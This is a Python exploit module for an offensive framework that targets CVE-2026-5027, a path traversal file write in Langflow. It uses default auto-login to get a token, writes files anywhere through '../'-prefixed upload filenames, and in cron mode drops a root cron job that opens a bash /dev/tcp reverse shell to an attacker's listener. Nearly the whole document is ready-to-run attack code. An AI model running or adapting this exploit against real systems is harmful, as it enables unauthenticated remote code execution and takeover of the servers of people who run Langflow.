Langflow CVE-2026-5027 path traversal file write RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-5027 — Langflow arbitrary file write → RCE (cron / custom path)."""

import re
import time
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Langflow CVE-2026-5027 path traversal file write RCE",
        "description": (
            "Exploits CVE-2026-5027: unsanitized multipart filename on "
            "POST /api/v2/files (Langflow <= 1.8.4). With default auto-login, "
            "unauthenticated arbitrary file write. Modes: proof (/tmp), cron "
            "(drop /etc/cron.d reverse shell), write (custom path/content). "
            "Fixed in 1.9.0+."
        ),
        "author": ["Yahia Hamza", "Tenable", "KittySploit Team"],
        "cve": ["CVE-2026-5027"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-5027",
            "https://www.tenable.com/security/research/tra-2026-26",
            "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c",
            "https://github.com/yahiahamza/CVE-2026-5027",
            "https://orca.security/resources/blog/cve-2026-5027-langflow-path-traversal-rce/",
        ],
        "tags": [
            "langflow",
            "path-traversal",
            "file-write",
            "rce",
            "cron",
            "unauthenticated",
            "cve-2026-5027",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "credentials"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["langflow"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/api/v2/files"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "file_write"},
                    {"capability": "shell", "from_detail": "cron"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    port = OptPort(7860, "Langflow HTTP port (default 7860)", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    base_path = OptString("/", "Langflow base path", required=False)
    username = OptString("", "Username if auto-login disabled", required=False)
    password = OptString("", "Password", required=False)
    mode = OptString(
        "proof",
        "Mode: proof | cron | write",
        required=False,
    )
    remote_path = OptString(
        "/tmp/CVE-2026-5027-proof.txt",
        "Absolute path for mode=write (and default proof path)",
        required=False,
    )
    file_content = OptString(
        "",
        "Raw file content for mode=write (empty = marker string)",
        required=False,
        advanced=True,
    )
    traversal_depth = OptInteger(
        9,
        "Number of ../ prefixes before remote_path",
        required=False,
        advanced=True,
    )
    lhost = OptString("", "Listener host for mode=cron (or use payload LHOST)", required=False)
    lport = OptPort(4444, "Listener port for mode=cron", required=False)

    def _timeout(self) -> int:
        return max(int(self.timeout or 15), 10)

    def _base(self) -> str:
        val = str(self.base_path or "/").strip() or "/"
        if not val.startswith("/"):
            val = "/" + val
        return val.rstrip("/")

    def _path(self, suffix: str) -> str:
        base = self._base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base else suffix

    def _get_token(self) -> Tuple[str, str]:
        response = self.http_request(
            method="GET",
            path=self._path("/api/v1/auto_login"),
            timeout=self._timeout(),
            allow_redirects=False,
        )
        if response and response.status_code == 200:
            try:
                token = (response.json() or {}).get("access_token") or ""
            except Exception:
                token = ""
            if token:
                return token, "auto-login"

        user = str(self.username or "").strip()
        password = str(self.password or "").strip()
        if user and password:
            response = self.http_request(
                method="POST",
                path=self._path("/api/v1/login"),
                json={"username": user, "password": password},
                timeout=self._timeout(),
                allow_redirects=False,
            )
            if response and response.status_code == 200:
                try:
                    token = (response.json() or {}).get("access_token") or ""
                except Exception:
                    token = ""
                if token:
                    return token, "credentials"
        return "", ""

    def _write_file(self, token: str, remote_path: str, content: bytes):
        depth = max(int(self.traversal_depth or 9), 1)
        filename = ("../" * depth) + remote_path.lstrip("/")
        print_status(f"Upload filename: {filename[:80]}…")
        return self.http_request(
            method="POST",
            path=self._path("/api/v2/files"),
            headers={"Authorization": f"Bearer {token}"},
            files={"file": (filename, content, "application/octet-stream")},
            timeout=self._timeout(),
            allow_redirects=False,
        )

    def _cron_path(self, host: str, port: int) -> str:
        stamp = time.strftime("%Y%m%d%H%M%S")
        safe = re.sub(r"[^A-Za-z0-9_-]", "_", host)[:40]
        return f"/etc/cron.d/langflow_{safe}_{port}_{stamp}"

    def _resolve_shell_endpoints(self) -> Tuple[str, int]:
        host = str(self.lhost or "").strip()
        port = int(self.lport or 4444)
        # Prefer module LHOST/LPORT; fall back to framework payload options if present
        if not host and hasattr(self, "payload") and self.payload:
            for attr in ("lhost", "LHOST"):
                val = getattr(self.payload, attr, None) if not isinstance(self.payload, str) else None
                if val:
                    host = str(val).strip()
                    break
            if hasattr(self, "framework") and self.framework:
                try:
                    # Common KS option names on exploit module
                    pass
                except Exception:
                    pass
        if not host:
            # OptLhost may exist on Exploit base
            for name in ("LHOST", "lhost"):
                if hasattr(self, name):
                    opt = getattr(self, name)
                    val = opt.value if hasattr(opt, "value") else opt
                    if val:
                        host = str(val).strip()
                        break
        return host, port

    def _cron_content(self, host: str, port: int) -> bytes:
        return (
            "SHELL=/bin/bash\n"
            "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n"
            f"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1'\n"
        ).encode()

    def check(self):
        token, method = self._get_token()
        if not token:
            return {
                "vulnerable": False,
                "reason": "No access token (auto-login/credentials)",
                "confidence": "low",
            }
        stamp = time.strftime("%Y%m%d%H%M%S")
        path = f"/tmp/ks_cve_2026_5027_check_{stamp}.txt"
        response = self._write_file(
            token, path, f"CVE-2026-5027 check {stamp}\n".encode()
        )
        if response and response.status_code in (200, 201):
            return {
                "vulnerable": True,
                "reason": f"Traversal write accepted via {method}",
                "confidence": "high",
                "path": path,
            }
        code = getattr(response, "status_code", None)
        return {
            "vulnerable": False,
            "reason": f"Write failed HTTP {code}",
            "confidence": "medium",
        }

    def run(self):
        mode = str(self.mode or "proof").strip().lower()
        print_status(f"CVE-2026-5027 Langflow file write — mode={mode}")

        print_status("Obtaining access token…")
        token, method = self._get_token()
        if not token:
            print_error("Authentication failed (auto-login off? set username/password)")
            return False
        print_success(f"Token via {method}")

        if mode == "proof":
            path = str(self.remote_path or "/tmp/CVE-2026-5027-proof.txt").strip()
            content = (
                f"CVE-2026-5027 | Langflow RCE | {time.strftime('%Y-%m-%d %H:%M:%S')}\n"
            ).encode()
        elif mode == "write":
            path = str(self.remote_path or "").strip()
            if not path:
                print_error("Set remote_path for mode=write")
                return False
            raw = str(self.file_content or "").strip()
            content = (
                raw.encode()
                if raw
                else f"CVE-2026-5027 write {time.strftime('%Y-%m-%d %H:%M:%S')}\n".encode()
            )
        elif mode == "cron":
            host, port = self._resolve_shell_endpoints()
            if not host:
                print_error("Set lhost (and lport) for mode=cron")
                return False
            path = self._cron_path(host, port)
            content = self._cron_content(host, port)
            print_info(f"Cron reverse shell → {host}:{port} (within ~60s)")
        else:
            print_error(f"Unknown mode: {mode}")
            print_info("Valid: proof | cron | write")
            return False

        print_status(f"Writing {path} via path traversal…")
        response = self._write_file(token, path, content)
        if not response or response.status_code not in (200, 201):
            code = getattr(response, "status_code", None)
            body = (getattr(response, "text", None) or "")[:200]
            print_error(f"Exploit failed: HTTP {code}")
            if body:
                print_info(body)
            return False

        try:
            data = response.json() or {}
        except Exception:
            data = {}
        server_path = str(data.get("path") or "")
        print_success("Path traversal write accepted")
        if server_path:
            print_info(f"Server path: {server_path}")
        print_info(f"Target path: {path}")
        if mode == "cron":
            print_warning("Wait up to 60s for cron reverse shell")
        return True